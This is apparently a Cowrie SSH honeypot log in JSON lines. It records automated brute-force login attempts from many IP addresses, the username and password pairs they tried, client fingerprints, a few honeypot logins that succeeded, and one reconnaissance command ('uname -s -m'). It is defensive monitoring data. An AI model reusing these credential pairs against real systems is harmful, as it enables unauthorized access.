{"eventid":"cowrie.login.failed","username":"jupyter","password":"jupyter@123","message":"login attempt [jupyter/jupyter@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:10.542409Z","src_ip":"211.106.133.202","session":"b0da69f0b015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:11.022763Z","src_ip":"20.244.18.126","session":"759ccf82c5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:11.745148Z","src_ip":"211.106.133.202","session":"b0da69f0b015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:12.225715Z","src_ip":"20.244.18.126","session":"759ccf82c5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":37086,"dst_ip":"159.203.135.109","dst_port":22,"session":"a93645464543","protocol":"ssh","message":"New connection: 20.244.18.126:37086 (159.203.135.109:22) [session: a93645464543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:12.411694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:12.416199Z","src_ip":"20.244.18.126","session":"a93645464543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:12.611242Z","src_ip":"20.244.18.126","session":"a93645464543","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:13.421901Z","src_ip":"20.244.18.126","session":"a93645464543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:13.619472Z","src_ip":"20.244.18.126","session":"9a7ef1ee3545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:51:13.623073Z","src_ip":"20.244.18.126","session":"a93645464543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":39050,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4a72119e3a3","protocol":"ssh","message":"New connection: 64.227.144.233:39050 (159.203.135.109:22) [session: a4a72119e3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:02.428219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:02.432459Z","src_ip":"64.227.144.233","session":"a4a72119e3a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:02.664283Z","src_ip":"64.227.144.233","session":"a4a72119e3a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirsten","password":"kirsten","message":"login attempt [kirsten/kirsten] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:03.131464Z","src_ip":"64.227.144.233","session":"a4a72119e3a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:04.366065Z","src_ip":"64.227.144.233","session":"a4a72119e3a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.230.217","src_port":33658,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f637fb9cd89","protocol":"ssh","message":"New connection: 188.132.230.217:33658 (10.17.0.5:22) [session: 4f637fb9cd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:07.519857Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:07.883324Z","src_ip":"188.132.230.217","session":"4f637fb9cd89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.230.217","src_port":33674,"dst_ip":"10.17.0.5","dst_port":22,"session":"deee36c19eba","protocol":"ssh","message":"New connection: 188.132.230.217:33674 (10.17.0.5:22) [session: deee36c19eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:08.006647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:08.258100Z","src_ip":"188.132.230.217","session":"deee36c19eba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:08.262306Z","src_ip":"188.132.230.217","session":"deee36c19eba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48506,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b6b3b9283de","protocol":"ssh","message":"New connection: 2.57.122.208:48506 (10.17.0.5:22) [session: 8b6b3b9283de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:08.416890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:08.510818Z","src_ip":"2.57.122.208","session":"8b6b3b9283de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:08.612190Z","src_ip":"2.57.122.208","session":"8b6b3b9283de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:09.311846Z","src_ip":"2.57.122.208","session":"8b6b3b9283de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"------fuck------","message":"login attempt [root/------fuck------] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:09.952853Z","src_ip":"188.132.230.217","session":"deee36c19eba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:10.460871Z","src_ip":"2.57.122.208","session":"8b6b3b9283de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:11.043992Z","src_ip":"188.132.230.217","session":"deee36c19eba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -m","message":"CMD: uname -s -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:11.047282Z","src_ip":"188.132.230.217","session":"deee36c19eba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","size":13,"shasum":"6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:11.583719Z","src_ip":"188.132.230.217","session":"deee36c19eba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:11.588851Z","src_ip":"188.132.230.217","session":"deee36c19eba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":57264,"dst_ip":"159.203.135.109","dst_port":22,"session":"46dc04344936","protocol":"ssh","message":"New connection: 182.52.236.235:57264 (159.203.135.109:22) [session: 46dc04344936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:19.550026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:19.554649Z","src_ip":"182.52.236.235","session":"46dc04344936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:19.798106Z","src_ip":"182.52.236.235","session":"46dc04344936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mosquitto","password":"1234","message":"login attempt [mosquitto/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:20.801095Z","src_ip":"182.52.236.235","session":"46dc04344936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:22.046457Z","src_ip":"182.52.236.235","session":"46dc04344936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":57972,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd01fdb7177a","protocol":"ssh","message":"New connection: 176.88.194.26:57972 (159.203.135.109:22) [session: fd01fdb7177a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:23.868960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:23.873786Z","src_ip":"176.88.194.26","session":"fd01fdb7177a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:24.001040Z","src_ip":"176.88.194.26","session":"fd01fdb7177a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxim","password":"123456","message":"login attempt [maxim/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:24.543904Z","src_ip":"176.88.194.26","session":"fd01fdb7177a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:25.673201Z","src_ip":"176.88.194.26","session":"fd01fdb7177a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":58236,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7fcd33c66df","protocol":"ssh","message":"New connection: 103.59.94.61:58236 (159.203.135.109:22) [session: e7fcd33c66df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:26.404194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:26.408548Z","src_ip":"103.59.94.61","session":"e7fcd33c66df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:26.659557Z","src_ip":"103.59.94.61","session":"e7fcd33c66df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fiscal","password":"12345","message":"login attempt [fiscal/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:27.698165Z","src_ip":"103.59.94.61","session":"e7fcd33c66df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:28.951293Z","src_ip":"103.59.94.61","session":"e7fcd33c66df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":54356,"dst_ip":"159.203.135.109","dst_port":22,"session":"ded1d76b125e","protocol":"ssh","message":"New connection: 142.93.139.168:54356 (159.203.135.109:22) [session: ded1d76b125e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:34.215273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:52:34.219913Z","src_ip":"142.93.139.168","session":"ded1d76b125e","protocol":"ssh"}
